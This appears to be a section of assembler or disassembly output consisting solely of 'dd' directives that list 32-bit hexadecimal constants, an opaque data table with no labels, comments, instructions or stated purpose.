dd 0DCBBD7C4h, 1CA5DCBh, 3AF3E239h, 209945B7h, 0AD0F9B44h
dd 0E2E5DA53h, 606269E3h, 24437097h, 93D78A7Bh, 0C70C1D75h
dd 0F76B2023h, 0C09085DFh, 0E77A79EBh, 0ADC61700h, 4B13D7D6h
dd 2479B002h, 9C009FDAh, 189ECEEAh, 0FCC807F2h, 0ADD47093h
dd 0D9003C6Fh, 0DA036789h, 1FD80914h, 0C2BDAF51h, 553E0635h
dd 74006050h, 0C9B4C893h, 1B5D27h, 108A0A4Ch, 0FF4A5FC7h
dd 0B991D004h, 0CC80F743h, 189FD977h, 10F4C466h, 0FB1EC2D6h
dd 9FB9CDA3h, 63867FB8h, 3400B79h, 9BE44375h, 0E5C01F9Eh
dd 6101CDE0h, 2E3F7C5h, 0AC34A516h, 42EE81h, 0FA0C5551h
dd 7F74759Fh, 0F3A13E1Fh, 79E7ACC0h, 0D2DFA5h, 0B0DA97C1h
dd 4405BBE8h, 9FAD600h, 5893F819h, 2E7926h, 793AFC8Bh
dd 5B43516Eh, 57B8E107h, 0BD5014D1h, 2354C7h, 0F8D3E3Ch
dd 39FC7A99h, 5CA75100h, 94E54FB2h, 0BBE30062h, 14237987h
dd 0D5008290h, 0F9C67454h, 0A9B793h, 7B1B9BB0h, 0C78D3CCCh
dd 0D97D400h, 56E0A0AEh, 4D90F4h, 8742EDD7h, 0BA9C3CD2h
dd 0E460709Ah, 0A4AFF4B0h, 323F0CACh, 8049B823h, 484AA906h
dd 10C99Bh, 768C9990h, 0D388CDA7h, 75C33A0Fh, 0B1E102ECh
dd 0B694809Eh, 3F437A8Ah, 718FF5AEh, 4447C148h, 20A740A5h
dd 0D000E554h, 0F78B382Fh, 36DE18h, 415FB4CCh, 0B6E9CFFh
dd 0C99F481Eh, 112C29Dh, 6178480Eh, 0C5EADC20h, 0D23420h
dd 4CE5B933h, 6C705E97h, 32993400h, 277BC9A0h, 69A30125h
dd 0A9A633F9h, 909AF8F6h, 1200FA76h, 68445EB1h, 0BC6DEDh
dd 57E513B3h, 0FB58149Ch, 0B40F4Ch, 37B56FC0h, 7160E11h
dd 69031502h, 0CE0CF068h, 400ECB0h, 0E25BFCAFh, 0C3126CAAh
dd 91A6F28h, 18E83E90h, 0A388CB00h, 0FE2913F6h, 635D0084h
dd 7F676112h, 0A77AD911h, 0CB0D1E00h, 426A87D3h, 0FC7B0744h
dd 5F0C7EA6h, 251DCA60h, 0DB008FF3h, 86B9FA49h, 776A4Fh
dd 0AE3096Dh, 1A31550h, 36FF78C0h, 3E5ADF54h, 76807B46h
dd 0E341459Eh, 0FCB04D97h, 0D38018DDh, 0B27E9A1Eh, 0C4BF00D2h
dd 0A86B9424h, 75E2C506h, 0A10060ECh, 0E6DF454Fh, 384B6B5h
dd 3B7F92Dh, 13E0C363h, 0ABF4FB19h, 3F643600h, 23B3C553h
dd 843D50A7h, 32890318h, 9EE23A0Ch, 0C234DDE8h, 7B421700h
dd 0BBCA96C7h, 0D06439E3h, 0DFF7188Eh, 0FA4BB2AFh, 27D940A3h
dd 2B393DD8h, 0F807DC00h, 3E9F65A3h, 0D088076Fh, 9B61166h
dd 0F3623880h, 70BBC98h, 0A082A019h, 50F136Ch, 752D3A29h
dd 72417A82h, 1FE24C62h, 0DC2F1440h, 0B8E21E00h, 208EF238h
dd 0D0A3021Ch, 0C7330D67h, 64BADCE0h, 0AA1E1200h, 0E444A10h
dd 1A8B4E8h, 69BEACCAh, 67D08043h, 1CAE4AF9h, 0C08B817h
dd 6E10DB8h, 8B07B7F1h, 0E8F1510h, 54611CC0h, 0C04302D2h
dd 33CA2D24h, 9EFC9C68h, 0B73244h, 672BAD40h, 0ECCD7C42h
dd 11AFBF00h, 0B366F524h, 0FCC70E05h, 0FD403F48h, 192BB006h
dd 0D4615B2Eh, 1B9E0900h, 90EF59h, 0EE9AD478h, 5554FE0Ch
dd 0D8A8922Eh, 0D9B31600h, 0CD3BD8Ch, 215F10D7h, 0CE282489h
dd 181FA896h, 2BA614Eh, 5D9ECDFBh, 22C7825h, 0EA1AD2EFh
dd 0CE034694h, 0BFB8384Ch, 27B42682h, 88D014FEh, 0FBE83909h
dd 61F81031h, 4E710F7Fh, 55E0D5BDh, 3BD2E0C6h, 666FB900h
dd 6A5982B8h, 7EF33F8Ch, 0F8649F00h, 160FC839h, 502EFB00h
dd 4A0CC9D8h, 0E01D0E79h
dd 40A08609h, 417F9D99h, 495CC000h, 1F370517h, 3ACB8FFh
dd 5A2A35B9h, 1900C163h, 8FF91557h, 0C51D6Ch, 0F0609C93h
dd 338BD862h, 64051E00h, 403D89C6h, 91543B4Fh, 1B392Ch
dd 11493E45h, 5000F44Ch, 583FA7A0h, 3184AFh, 410CFCC4h
dd 0B17EF5F3h, 17B7E400h, 4E59C1EDh, 0F8251FA3h, 0E6190182h
dd 2090C5C3h, 4DB0F428h, 79006976h, 1429017Dh, 9163E03h
dd 57F8542Ch, 6DA62201h, 26A0722Bh, 0F700C09Ch, 1161DBD0h
dd 9F1E0006h, 0BF7FCB62h, 78B0931Dh, 4E65140Ch, 73780Fh
dd 0C1A3928Eh, 0B82ACE9Ch, 0B992800h, 4E31333h, 25D89851h
dd 1C0FDF61h, 0BE2640FCh, 0F2DD40EDh, 4C009B76h, 0AF1488E3h
dd 1FA23CB6h, 0C0FAC842h, 0F879DA52h, 8267A83h, 352C6471h
dd 85362200h, 0FE41664Dh, 0F93339AAh, 0DC2FD8Eh, 2108A5A0h
dd 760087A1h, 0F2E8D727h, 3DB932h, 0BC5FA41Fh, 7AFD3198h
dd 19151730h, 7B7F1BAh, 8E16226Fh, 8DFC4054h, 0AE075E87h
dd 48590FA6h, 0EBCF8339h, 0FE88006Bh, 5B260DEDh, 12011798h
dd 36770BBAh, 0DBF17227h, 0B4C067ECh, 0AB1600FCh, 0FBF6D35Dh
dd 5458F00h, 1F33FC4Bh, 0B90800A0h, 4D5F2780h, 0A400601Ch
dd 0C1C620BFh, 49D01Ah, 3C42E244h, 88A597EEh, 0BD249D02h
dd 0F09FD8CDh, 2C2A04C4h, 0B0D6B3F5h, 0C406F91Ch, 1B320F69h
dd 0A4CB0110h, 716857CEh, 0CCE8F258h, 6C01D193h, 69DD9C90h
dd 0AC24252Eh, 0C1100084h, 0CE239689h, 8E009ED8h, 1497BBF7h
dd 0E904395h, 0A20CCA35h, 128F7B21h, 0E48840F4h, 700F187Fh
dd 62DD7C8Ah, 0C0E5B8E6h, 914E394h, 0CD3AD5Eh, 44F46082h
dd 0F97810h, 4C5027FBh, 51D7C054h, 8C44F000h, 0CA7E08B0h
dd 6F95303Fh, 269F8248h, 0CBE7D60Bh, 0B474402Bh, 0EAB72C6Eh
dd 3D440024h, 21DB8157h, 77C83800h, 4C751DD8h, 7DE41810h
dd 7DDE141h, 0BBAB9203h, 0B1AA6493h, 9C3045D9h, 39DE0001h
dd 0C2657C70h, 0DA48FB43h, 0A862053Bh, 5882B453h, 3E4781Ah
dd 1F28CC2Fh, 33B18675h, 0F8CF897h, 6978A401h, 0B41B55C3h
dd 7BF9920h, 9E8409A3h, 67B2919Ah, 5224C48Ah, 0EDEA7C00h
dd 76695711h, 0E8A55196h, 3DBFE4E4h, 388F40F3h, 0ABE0742Ch
dd 588CE85Ch, 1B4BD4Ch, 0EF7C5918h, 7100DD43h, 25064AD5h
dd 0A0497587h, 0F22E0749h, 0A7C9A68Ch, 0E602C019h, 84A074FDh
dd 0BD002522h, 0D3A829C2h, 359121Ch, 3B8CDF4Ch, 11A06066h
dd 0CA3DCEF9h, 0A7229714h, 4D88B402h, 9D1E4045h, 0C48B0166h
dd 3C99EB3Bh, 0E585C8D6h, 1D557112h, 12283C00h, 2CE207h
dd 47D741B6h, 18A0F6FFh, 110060B0h, 5DAC8530h, 182CC24h
dd 6667553Bh, 6048FDE3h, 601B338h, 1C7683A2h, 0D420512Ah
dd 1BD900CDh, 8D59B2C2h, 0A8007553h, 0C05671F2h, 48683A76h
dd 5A000F44h, 6BF17FA7h, 0DB0077CCh, 84788314h, 0B88D2723h
dd 2A258B1h, 0E9633B0Fh, 2C864020h, 0AC0004F0h, 483C39F3h
dd 9EE7F2D6h, 0EB917700h, 92F55880h, 0E200BC7Fh, 9E93F65Dh
dd 965A6B09h, 8712059Ch, 5C64F0D6h, 0C6026E00h, 0D026D961h
dd 4EB8089Ah, 0F00073C5h, 3629767Eh, 47120006h, 8A898338h
dd 0D700E430h, 3CF58625h, 0C18D41D2h, 440B818h, 0B83C62h
dd 51AD44F6h, 7E599679h, 75100009h, 5FE0AEABh, 0DC0067A8h
dd 0C909BA7h, 0B27B3380h, 268303D0h, 0EE5DFD21h, 9CEAC209h
dd 27F89011h, 8CCB00FBh, 160D8F05h, 0A3008ABFh, 3FCCAFE2h
dd 3BC426B0h, 4C012279h, 34DCFF5Bh, 56D180D3h, 0D80FE031h
dd 368407B1h, 66746A60h, 2700B0A6h, 35DC0664h, 28DE2395h
dd 7E98A26Eh, 0A84F263h, 8F4EF161h, 0D34605B0h, 0BCB80EE2h
dd 0D0190A04h, 126D20A0h, 0CF1D1500h, 0A1958259h, 0C20A0062h
dd 465A058h, 9F16A7F3h, 989046D0h, 2CB011F5h, 3CFC43h
dd 3AFA314Dh, 520B1F8Ah, 0E49944h, 0EA0CA094h, 19250011h
dd 0D3E255CDh, 1E267CE5h, 0CE80601Ch, 3BAD1D37h, 9E26E6ECh
dd 4740CF44h, 2D293A5Eh, 7A10B114h, 0AE5888h, 0E5F3AD2Bh
dd 0A4A3F8h, 77C9F022h, 0BDCB2E39h, 40F19B25h, 84C7EF48h
dd 0B860193Ch, 0EC860088h, 912919Ch, 2C6D007Eh, 850FA0FEh
dd 25016E3Ch, 1710D013h, 65E00C6Fh, 0EFA022Ah, 0F47AB5E0h
dd 85135444h, 64C0D663h, 542891h, 0DDF9CA2h, 2E25051h
dd 95F78500h, 414A62F6h, 764E4E5h, 320C158Eh, 3E0800FCh
dd 550A2985h, 0DCD3CF9Ah, 0FD452002h, 28B48081h, 1F1CD2D0h
dd 0C2F3A6D7h, 3B2367D9h, 0AA80DCA0h, 0C03681Eh, 0B9E8A64Bh
dd 8104BA31h, 1EA9BA10h, 79D5024h, 9FD99B32h, 41F047DAh
dd 407FBA03h, 3BCA6910h, 3E006C4Eh, 0D525E636h, 391B0079h
dd 8692D76Eh, 6607F6FAh, 0B9A4B2C6h, 0F34F0180h, 0E03300BEh
dd 8CAFB17h, 0BA2825E3h, 56EC2CACh, 2F71942Eh, 55A07E00h
dd 3E3685h, 0DD08E9A9h, 74B8C16Ch, 0B9D7BE02h, 0A407680Eh
dd 0EC00AE70h, 0EBC4A671h, 563CB2E8h, 0ECFFC07Ch, 280300CFh
dd 93FC9694h, 8C3F1C6Dh, 1AE98020h, 4F1D5F24h, 0DAA100D4h
dd 0E6E530BCh, 0DD0017AAh, 94F783B5h, 51140Bh, 1A05D18Ah
dd 0BEA0A2F9h, 0F8A18E00h, 6FCDB5F3h, 0FFE61278h, 0E18CC0B1h
dd 340323A0h, 0D5EC4537h, 7B1B647h, 27F46CE8h, 5A8F7F25h
dd 80CA54Ah, 964417D4h, 833A031h, 0F824A802h, 0E52843Eh
dd 97530C88h, 14E7183Ch, 84EBBBD4h, 8EB8A58Ah, 31716A1h
dd 38666C33h, 8C08213Ch, 5077BB59h, 0BAA440F7h, 1CA05271h
dd 90073450h, 73C76C62h, 0C30AF383h, 6A3DC032h, 0BBD01860h
dd 18F851B0h, 0BD5085F0h, 80F01508h, 1E10A544h, 0FDC52Ah
dd 9424725Bh, 64A0CA45h, 0AC3EF38Eh, 924F77ADh, 0C4003C1Fh
dd 0EC29DE20h, 53231C4Fh, 0DB588B42h, 83893680h, 310025ADh
dd 57B2ABDCh, 360321h, 9F465D93h, 4BC64CB8h, 7C60B160h
dd 0A330AC6Bh, 7003C594h, 6767F47h, 3C1A2428h, 843C20D1h
dd 0E95798C1h, 0FE0A29h, 829FB33Fh, 8567919Bh, 0F16F9A74h
dd 3FEA4721h, 93DFD270h, 0D3FE0045h, 0B66B3A5Ah, 0DC0C0F96h
dd 0A1BB86C1h, 0BF5C1908h, 0C048B83Dh, 1A606B94h, 0A9406D11h
dd 9017004Eh, 302FDE9Fh, 59000775h, 46D5C0B2h, 552CBFFh
dd 6F69BD18h, 0DDF00ACh, 0DA7E89EDh, 3CB20800h, 4EBDE964h
dd 0FD50003Bh, 8DB70BA8h, 0AE008C93h, 0E5AC0AFFh, 431ED5h
dd 6DF6BD11h, 7A099D7h, 2FFE3Ah, 0DF0F5F20h, 345F528h
dd 4073F483h, 0F680B5C4h, 64007959h, 6A8AC2A9h, 33604DFh
dd 0CF6EBD89h, 0F46051C9h, 0DE5D1BB2h, 0CB8008Ch, 0C63E7B8Dh
dd 300032D2h, 261049F1h, 7562C329h, 9B4002Bh, 0AB288050h
dd 920020BBh, 4E7F4A43h, 3A19136h, 0D8E275AAh, 5588699Bh
dd 77616E52h, 0A065DD18h, 0EC0A20BCh, 18CCBCh, 629DB944h
dd 200099FFh, 3E0A9372h, 523D0Bh, 0FB06C49Eh, 5B275D85h
dd 0BFBDE200h, 0E1022E5Ah, 3EF601F3h, 0DD872C2h, 5610E87Bh
dd 0CE8014A7h, 0C97DF295h, 0A188C0B2h, 0F7BA39ACh, 9E2AE400h
dd 0F60EEE97h, 55D3011Fh, 0F4A5D7FCh, 85A98164h, 0E924A017h
dd 6327FBC8h, 7636184Bh, 0DC9A2100h, 6C34E20Fh, 7AF50051h
dd 9F73D149h, 0E126D433h, 0E9006AFBh, 0F0D864ACh, 0E5723A0Ah
dd 0D59E5D0Eh, 1365E120h, 1E03F90Eh, 0E747D6FCh, 0A5A90CA1h
dd 486966ECh, 0FCA4D555h, 4915C239h, 5B44EC9h, 630AEE4Dh
dd 4F5224C1h, 59DFC0EBh
dd 0E19200C9h, 8C95FDD9h, 0B0003CD6h, 22602A82h, 0E17DAFBh
dd 0A8F874F2h, 0CFD84D80h, 0A5E477CEh, 3C61EE28h, 1CBA1F22h
dd 406B92A2h, 0E2976360h, 11E61B4h, 0BB0CE4E0h, 98A710DFh
dd 621E2AFh, 19C8054Bh, 0EC6F084Ch, 0E04FEF21h, 512DD58Ah
dd 217EE7h, 2AC6C36h, 28DBD73Eh, 81C7E800h, 8761B006h
dd 0BB33001Eh, 3D0F44D4h, 0B8000D6Eh, 2586ACA2h, 3AEAACAh
dd 627917BAh, 0C9F024D8h, 0B100E750h, 9F3B1901h, 148642D2h
dd 54EAE01Ch, 3A343580h, 871B21h, 0DB34FD7Dh, 0D90131A3h
dd 0A1CA24E2h, 218CBC4Eh, 5CA10D82h, 29C84900h, 0BDDBCAC2h
dd 0A0F41908h, 7001288Ah, 5E00E3E4h, 65CC02F7h, 0E420DC23h
dd 4EF42Fh, 0EE0CFAEh, 578371B5h, 0CA3B0301h, 0BFE51CEDh
dd 0DF876880h, 7CDDC0Bh, 0A4EC3D00h, 0E355EE9Ch, 0C3B6016Dh
dd 0D4DB5E61h, 8199BF98h, 9B1B8B19h, 86D199AEh, 0B78A188Ch
dd 10C71C1Ah, 85856554h, 1513007h, 5BFD69D0h, 0BFD10019h
dd 0B237212Ch, 0AE033D89h, 0D8BD6244h, 0F54071B6h, 3AD69FCh
dd 5188E2BAh, 693BCDE9h, 0F8A480C1h, 8EBAE42h, 87C669Bh
dd 0B40068F7h, 0D4A4645Bh, 999E01h, 81A3633Dh, 0A28DB5BAh
dd 0BDB60801h, 873B27D0h, 3D81880h, 0FCAB4E0h, 2DB80B54h
dd 3591921Fh, 0AD470CC5h, 54C7CDC3h, 8CD54881h, 0FF343604h
dd 91622321h, 34FE7E20h, 3F94EA81h, 9526A4CEh, 80E0399Dh
dd 18B6D55h, 2A9898C1h, 1B00A0F7h, 2360EB15h, 1AB13918h
dd 0B67306Ch, 75749C10h, 0DCED4E07h, 5F6053A0h, 98369BA2h
dd 3F900059h, 59718322h, 0A57DB45Dh, 0D466AF00h, 6CCE08EAh
dd 2A4A039Eh, 9AFF9339h, 0F47726E0h, 3A133D1Dh, 7132AC07h
dd 0A50780FFh, 5989E9h, 26772B54h, 4D95F169h, 17F9BF00h
dd 9BB34BD2h, 0ADBE00F5h, 29A9EA81h, 6C0F8BD6h, 0AA53B111h
dd 0C17D046Bh, 838A654Ah, 13466E10h, 0C7EDE0B0h, 274400C6h
dd 5EDA0EB3h, 0AC00C96Ah, 6EB6B9EEh, 0C345FB1h, 0FAD3EC69h
dd 0D940DA29h, 0BA580166h, 0AA393FD5h, 20AE884h, 56642700h
dd 2623D11Eh, 0E9B20151h, 7AB9382Dh, 0B6DFF8AAh, 0A80006E0h
dd 9E30F5C9h, 32B21Dh, 8C758369h, 7FA35A71h, 0F7FD9303h
dd 88A5D99Ah, 0F8763E5h, 85A0A78Bh, 0A3764C20h, 70003C5Eh
dd 8906D22Ch, 3892C243h, 200537Bh, 504C47B7h, 0D9005ACEh
dd 24E66FFCh, 928B98h, 0E47BB669h, 0BA834D75h, 6FE949C0h
dd 0E539AAh, 534199B9h, 0A5C72F6Dh, 0C6CB4500h, 67DCDD90h
dd 22EED5h, 835D770Ch, 0D1B82D18h, 4309E402h, 60D5BF1Eh
dd 0C1DFB6h, 0F3EEB81h, 7221856h, 7C96DB03h, 0B0C3ED30h
dd 39F315h, 2C57913Fh, 0F47B09B0h, 0EC006D70h, 1E0E276Eh
dd 126355EFh, 1D1A2C89h, 3164875Dh, 0BEDB302Dh, 8F000DCEh
dd 42D39E61h, 58DA688Bh, 3C002F90h, 3E6BB58Ah, 4A0057A1h
dd 131F1AE3h, 7C715EB8h, 0B374FCh, 7DC418C3h, 8EB02B61h
dd 0FA454700h, 8DAD0AFEh, 7CAE27Ah, 0AA7CB73Ch, 8EE0DE44h
dd 0A5E82DBAh, 76CEA203h, 0DBA8C11Eh, 0BB48002Eh, 620D6591h
dd 0B6009457h, 72D70C9Fh, 23D841h, 0D01F6C38h, 0C41B5D98h
dd 0AFF07C01h, 8FEC778h, 1C5441FAh, 611B3F0h, 0B2A7A2Bh
dd 0FE03581Ah, 0C56D194Eh, 6120C0EDh, 0B4820071h, 69378C3Ch
dd 0D70073DEh, 542EBCBEh, 0E2C0407Dh, 0ECCA006Dh, 5867381Ah
dd 78003E2Ah, 0B8FF01F9h, 7D7F00Dh, 0F804ABA7h, 57AE10E3h
dd 909088A6h, 0FE3C2F00h, 0C11DEEEFh, 0E6FE2Ah, 6C0B42A5h
dd 34BB86FFh, 9E7D3000h, 87AAFE8Ch, 8B120104h, 4FC7B993h
dd 0BD92CCE2h, 3200DEEAh, 69473709h, 593EAEBh, 3B0DE145h
dd 0C80C80F5h, 9E001CC9h, 1972A190h, 0A4F6FAh, 2F46C761h
dd 9583059Ah, 64592100h, 2667A6B0h, 0C45F6D7h, 93D5BDAAh
dd 3B0121B0h, 49BA82F1h, 0A080992Bh, 0DD86241Dh, 1001033h
dd 0B8F63A1Bh, 540452A5h, 7179640Ch, 0BCC95269h, 0B8A5A707h
dd 0C59FF06Bh, 4A14BB4Dh, 0C1E854CAh, 0FB57FC32h, 4DC2B5D0h
dd 2B0030A6h, 43EF1D38h, 5001753Ah, 77948D54h, 1ECCCA19h
dd 58B400A3h, 300E6081h, 840A8021h, 0D8C39CD0h, 98B7528Ah
dd 1D206B80h, 713D6FA3h, 769FACBh, 39CDF55Fh, 1B18429Dh
dd 0B8B8D843h, 34EDA24Eh, 5DF69870h, 0E4A78500h, 117C2715h
dd 0BDE824C1h, 402894h, 561D1267h, 0B76D9CE2h, 17873500h
dd 703B249Bh, 382F0733h, 80BD1F65h, 71CE1C8Bh, 0F9457A00h
dd 0E335C6C5h, 0FCC40309h, 5E49F08h, 1200897Eh, 1032B811h
dd 0F9C9C0h, 84070199h, 1533B686h, 8375D501h, 0D31EBCBFh
dd 10C4D050h, 0FECDFAFEh, 3C09070Ch, 0D0551D39h, 0B8912F22h
dd 0A2DAF900h, 2578F58Ch, 0A4A90E07h, 0E00AAFC9h, 3DA089FCh
dd 658F5400h, 98E01499h, 0CD55FC2Ch, 0A0603E12h, 9A5E21ECh
dd 6E800A74h, 50B8A901h, 7B58311Fh, 55161D91h, 0CDBBD00h
dd 0D18F22h, 7CBF7AF4h, 0C59B4C5Fh, 6B338D0Ah, 5E00BC54h
dd 0C902EEBBh, 538B1839h, 6438E08Ah, 811D9000h, 0C4793549h
dd 37DFA50h, 4C71015Fh, 96D1FF7Bh, 870DD197h, 842D7F28h
dd 0D88F24B0h, 7A341A52h, 0CEC3E8F4h, 0B8A01E8Ah, 905042F7h
dd 2A033DE4h, 0BCFCD827h, 185C98C8h, 9B4500F2h, 0ECD94108h
dd 9D051FAEh, 399EC16Ah, 0DBD238C0h, 0BA71015Ah, 94CECD42h
dd 208ED96Eh, 4C004444h, 0FFCC9004h, 6959Ch, 0EDFDE009h
dd 7CBD9894h, 3A4B6C04h, 98800BE5h, 5CFB807h, 4EC31A57h
dd 37DC0026h, 61F35055h, 73067B00h, 0F428A1F8h, 64EB0017h
dd 1AD811Eh, 0BD540B27h, 88E4DCE8h, 883B1480h, 48021B03h
dd 0FC90804h, 87D4699Fh, 3CD18C41h, 0A43B44Ch, 481F9F93h
dd 0DEBD40A8h, 0EF03A3D7h, 7C8868A7h, 76A2DF05h, 0A5D88456h
dd 0E4805D30h, 90B29924h, 0A3810880h, 54E0EBF0h, 0C0B81Dh
dd 0A0B341ABh, 5986077Fh, 4AA12F0Ch, 0FAED809Ah, 0C37A2638h
dd 31A78228h, 0CCE12DEh, 0AD7FEB73h, 1C851609h, 48A81AFAh
dd 342F04Ch, 0DA04F32Ch, 0D18BD829h, 80005D8Bh, 248AC3EAh
dd 7924BDEh, 6B6773B0h, 35DD1159h, 955BC0A8h, 0B3573600h
dd 7606BB75h, 6F541E4Fh, 7B91C0E3h, 41853556h, 511A341Eh
dd 0B4689E00h, 0C0BD13CAh, 1B36711h, 5012E52h, 0AA5ADE8Fh
dd 0A074C5C6h, 0A4D24CAEh, 6F4D7C0Ch, 927145F9h, 233C3E00h
dd 787A0637h, 58050070h, 0A931C404h, 0D023495h, 0D8A0E726h
dd 2C404047h, 0E48B038Dh, 9B4ECCA1h, 0D34085D0h, 0ED005CEEh
dd 0DF3E6FD0h, 0F6BAF6Dh, 1675B1B3h, 63C2C620h, 0F2096061h
dd 750F36B7h, 549D1481h, 0AE2D203Bh, 9FDCE800h, 3CA9CDEDh
dd 10E20042h, 0F8591371h, 8C3D47DEh, 0FC0909CEh, 0D898818Eh
dd 0AEE73F74h, 8A111428h, 0EC2686DBh, 64D0750h, 22FA326Dh
dd 5B240C40h, 0E741ED00h, 0F7F463ABh, 855806D7h, 508FF2B0h
dd 4D4E5F03h, 0FAFE6A3Fh, 8E94652Dh, 4320A3D8h, 249CEE6Dh
dd 0BDA058E0h, 40CE2A6h, 283D12C2h, 909FC7Dh, 0A1595FA0h
dd 0C4196040h, 0A64C748h, 9D39E152h, 900733Dh, 1C04B018h
dd 3596B1h, 6D859FA6h, 944BD981h, 0AA478D01h, 7C1E87B9h
dd 160F4E8h, 18254E86h, 3012623Dh, 0A501B2D4h, 77D446B0h
dd 9425E953h, 4851E1F4h, 0CD266C3Ch, 9866000Dh, 0D3BC7C3h
dd 16C0AA49h, 0AC12B989h, 1872B870h, 0B098BEh, 0AA386D0Eh
dd 0AD0CBFB2h, 80E54A3Fh
dd 82805722h, 9A94954Fh, 694B00CCh, 0C3AFAB74h, 14B86D0Ah
dd 0B0A7BD2Ch, 0E9382787h, 0CE60BE80h, 0F46B48F8h, 6912C10Bh
dd 0E813B002h, 0B7D59848h, 4500F5EEh, 274DEF3Fh, 3FE428B8h
dd 412C4823h, 0F2E90068h, 0C5333212h, 5D0176B8h, 0C462A2A3h
dd 7836F7AEh, 4021791Eh, 0A2E090CEh, 0F80069EAh, 7E2C782h
dd 71BB87h, 2DF6FDCAh, 360C46FCh, 0DC9764B1h, 72D91C31h
dd 0BCD4AC57h, 440040C7h, 5231F8ECh, 994C6001h, 46483A07h
dd 4CA0E9AFh, 64753782h, 85121118h, 1270D29h, 8DB6EF9Ah
dd 20453F5Fh, 8400910Ch, 0BFD6295h, 172AF7A8h, 8C59EF5h
dd 185AA3F0h, 349213Ch, 6620BA37h, 6390DEBFh, 2B017AAFh
dd 682F9522h, 0CA40F02Ah, 589C70A3h, 8180A0DDh, 593C36AEh
dd 0DFFA0C00h, 0DCE93ECCh, 0BF6F01A7h, 0B881A367h, 7410201Bh
dd 0A08B3624h, 39A8B300h, 494680h, 1C2F09EDh, 75315B2Eh
dd 9016A400h, 5CB5D69Bh, 0F50318E8h, 0E72540D2h, 7827BC3Fh
dd 5F0311E0h, 0B99D10BAh, 404DB37Eh, 0AFC5D1h, 75D9CEE9h
dd 0F1543337h, 0D62A3FE6h, 931CAC80h, 0A140F5D5h, 462B66BEh
dd 0F8BF5CBBh, 44C20B00h, 0D7BAD125h, 0D638DF01h, 6B46F587h
dd 703DE0h, 0B43A6F23h, 0C077DDB5h, 0CD6C4C00h, 0C84DE1F6h
dd 0F4CF038Bh, 0A4ABD796h, 9C686ECAh, 789240C1h, 88B0872Ah
dd 81A8913Ch, 0AFBD83E7h, 0A4240905h, 179C923Ah, 5F3119CAh
dd 6FD39Ch, 5A423028h, 0B900F3E6h, 0C44EAEBAh, 982BCF32h
dd 0E37500CCh, 2F5B9E03h, 1E05A8F7h, 2CB20E5Eh, 9CB767C0h
dd 47F8004Ch, 58A6D7AEh, 0C2162707h, 0A3008889h, 4D1FEF3Dh
dd 0A0202D5h, 6607EC68h, 0F4DEC441h, 0F4E04708h, 0F42B4Ch
dd 0E9990489h, 463CF5h, 1DD3C5E4h, 0F6B8FDF1h, 62296400h
dd 6DCF18A4h, 0BCB2263Ah, 355480E0h, 0F14E6FEAh, 535B6C0Fh
dd 20DF6B04h, 750B5D34h, 91380046h, 0F35CDC89h, 0D500558Fh
dd 0DACA98A4h, 1D9E47D4h, 81C3B196h, 6BFA9A23h, 0D03225h
dd 0AE57D7DCh, 94F8D5h, 5D0D6E48h, 716F151Ah, 80D0E93Dh
dd 0D6D9BAE0h, 1694F4Bh, 0FBD8F378h, 0B88D5A48h, 0C791E29h
dd 679A9947h, 0B8809E24h, 44D053h, 58776FC3h, 24F55A4Dh
dd 7C66A000h, 0DFEDBF63h, 9DF00036h, 9B09CF90h, 8A01E8B8h
dd 0B4982131h, 6C749795h, 884AEACBh, 0C300F0F1h, 0A151BB79h
dd 0E43E2FA6h, 0E6162EC7h, 19EA0053h, 0FE854F9h, 9F3EEE98h
dd 4E451F10h, 0CF001D52h, 8DF83F3Bh, 8BEC34h, 0F1B26484h
dd 0D939C07Bh, 0E4765D03h, 26105E9h, 0AEB32820h, 0CB80FD9Eh
dd 3C218570h, 9005178h, 0FF63C662h, 0F1B0C8D3h, 1C12F8h
dd 9281AA37h, 5E9D4FBBh, 6718300Eh, 8AD4A0B6h, 38B4F9h
dd 0C7661342h, 2A856043h, 6265EB00h, 710E8ED3h, 516302BCh
dd 0B35A36EFh, 2B828868h, 3324B2F4h, 4A1F0C06h, 811B8C00h
dd 6E4501h, 5D0C1247h, 0E5E31A25h, 2CFEB400h, 31EBD1FBh
dd 9A050084h, 4617EADCh, 4F000D82h, 5A71F4E2h, 1084347h
dd 515E7CB7h, 0D5F3B9C0h, 0D1BCD4DBh, 5A951701h, 93546B87h
dd 80A3843Fh, 0E51094D4h, 4052AE03h, 0F3A5F2BEh, 0CFB698DFh
dd 0DFCF6h, 0C3E48225h, 41234AA0h, 0A320D11Fh, 11B87642h
dd 66246109h, 0E0B1FCh, 0B6CECDADh, 0FF2F12A3h, 7775B5ECh
dd 75E71005h, 87B06348h, 0B073BEFh, 0B471A4h, 0EEE3FB1Ah
dd 790B903Bh, 40E57DA5h, 3EF7C11Ch, 239AFFAh, 7898280h
dd 0E1DB2CFh, 0B4B75D00h, 7CEDF5B9h, 13CB0162h, 8ADF818h
dd 0B440DE21h, 8C002717h, 4A9CF53Bh, 268B738h, 43FD8AF6h
dd 0BCE0EBDCh, 0A3071021h, 305790BAh, 6CC0F457h, 1D50D847h
dd 0CDAEC2h, 35FB9E4Fh, 822C9581h, 8600B026h, 1842DDC7h
dd 4C6302CDh, 0C8FFE172h, 0E8F45061h, 75001D9Bh, 0FC080647h
dd 35BDF5h, 6470976Dh, 6ABAC0B9h, 1BE60090h, 38031898h
dd 3406294h, 0C773F995h, 0EC90E8h, 55C32BF1h, 0D3AA389h
dd 8EBDA23Fh, 0C2F723h, 0EE3B839Ch, 129F828h, 6AFB0CB2h
dd 806C5953h, 803AAD58h, 0C89A01h, 573E845Ah, 26A4403Ch
dd 0FB68D600h, 0EEDDF1DAh, 5B580BF0h, 1780B577h, 0CE40E11h
dd 0F400027Ch, 0C27AED30h, 2608B2F7h, 364053h, 61D6C877h
dd 8E13E5C3h, 0ECC0CC3Dh, 12ABC47Eh, 0A33289h, 6D34DE1Bh
dd 0B05967Bh, 151316F8h, 9EBFC4C0h, 2E810E71h, 6B4BFCABh
dd 60B3E207h, 5053B8CAh, 0F142C400h, 0DC0B1980h, 5AA10246h
dd 0B0182773h, 479C94E0h, 1CBA9F06h, 163E4D14h, 3817AC6h
dd 0F8384EFCh, 997811C3h, 9E00C878h, 0BB5F685Eh, 329277Dh
dd 9469B9D2h, 201D50F1h, 0EB036031h, 67F59FABh, 835F5849h
dd 791617A9h, 19068403h, 185E08h, 0EF7FF75Bh, 10CE4FE1h
dd 3293400h, 0F39BFDDDh, 141D3C4Ch, 328B0A02h, 94A1C813h
dd 80B42B10h, 0D7406B50h, 57C0FA9h, 5E25ACAFh, 0A814005Fh
